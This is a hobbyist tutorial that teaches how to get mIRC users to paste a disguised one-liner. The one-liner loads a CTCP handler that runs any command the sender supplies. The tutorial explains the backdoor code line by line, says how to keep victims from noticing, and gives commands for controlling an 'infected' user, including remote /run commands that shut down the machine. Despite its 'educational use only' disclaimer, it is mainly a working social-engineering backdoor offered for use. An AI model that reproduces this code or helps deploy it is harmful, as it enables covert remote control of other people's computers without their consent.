mIRC Coding – Coding in a IRC Backdoor

mIRC Coding – Coding in a IRC Backdoor tutorial written by ‘Zook’s; This is for educational use only. Its main aim is to give an alternate method to users who have to control multiple computers over long distance, and that is the sole reason for creating an irc backdoor

Introduction to coding a mIRC script

OK, before we start this tutorial I’m going to say that a lot of people probably already know about this, but I still have met a lot of people who fall for this every time… And its Sad. Anyway this should work on any version of mIRC because all your doing is using your mIRC coding “Sk1llz” to the advantage of yourself.

Note: I take no responsibility for whatever you may do with the information of this tutorial… Blah Blah, lets get going.

Coding A IRC backdoor

Now lets break down the code line by line (Each line is separated by | which symbolizes a new line in the code)

Line 1: //me $list Game

This is just a /me Function to kind of point you into the direction of showing that the code has started to load, The only thing that really is different is the double /. This is basically showing mIRC that the following line will contain more then one item to execute/do.

Line 2: write -c x ctcp 1:*:?$1-

This code is basically writing “ctcp 1:*:?$1-” to the file “x” in the mIRC directory. What the CTCP Code does though is basically open a back-door in mIRC that waits for any CTCP message and whatever is in that message, mIRC is instructed to execute that command.

Line 3: /me number # -

This is basically your second signal that the code is being ran… And is basically a fall back for you.

Line 4: .load -rs x

This code is basically signifying that you want to load the file named “x” that is located in the mIRC Directory into the mIRC program, ultimately opening up the “back-door”

A few things to note, when the user runs the code it will show the two messages specified in the code so it should appear like this in the place the user executed the code.

-USER- Game

-USER- number #

That’s basically your “Notification” that they ran the code… Remember that you have to have two forward slashes at the beginning of the code, otherwise it wont run all the commands and will just look one giant /me of your code, which might set off other users to tell the person not to run the code.

Using the IRC backdoor

Now that you know the basic concept of the code, lets get to what you want… Commands to run. Well Basically your in luck, since mIRC is now “Back-door’d” your allowed to run any command that mIRC is allowed to run.

Examples:

/ctcp [USERINFECTED] /nick [AnyNick]

/ctcp [USERINFECTED] /mode [Channel] [Mode] [NICK]

/ctcp [USERINFECTED] /quit [Message Can Go Here]

Etc… Then it comes to one of mIRC’s “Special” Functions… this allows the user to run any command on the computer / do anything they want to a certain extent.

/ctcp [USERINFECTED] /run [COMMAND]

This could lead to something like:

/ctcp [USERINFECTED] /run rundll32 user.exe,exitwindows

or

/ctcp [USERINFECTED] /run shutdown -s -t 30 -c “System Error – Shutting Down”

Now how to unload the “Backdoor”, which is very basic. All you have to do is type:

/unload -rs x

Or if you want to be nice you can remove it from the person you “infected” by typing:

/ctcp [USERINFECTED] /unload -rs x

Note, that any command you execute on the person can be seen by the person if they look in the server window, and some scripts will actually show the CTCP in the channel that you/the user is currently talking in. So its not a discreet way of executing commands, I know, but if you can link all your commands to do what you want then the user shouldn’t have enough time to actually stop it. I hope you have learned something today, or if you already knew about this, then maybe I have opened you up to something you didn’t know before, or something that has enlightened you from reading this tutorial. Anyway have a nice day, and thanks for reading the tutorial.

-Zook

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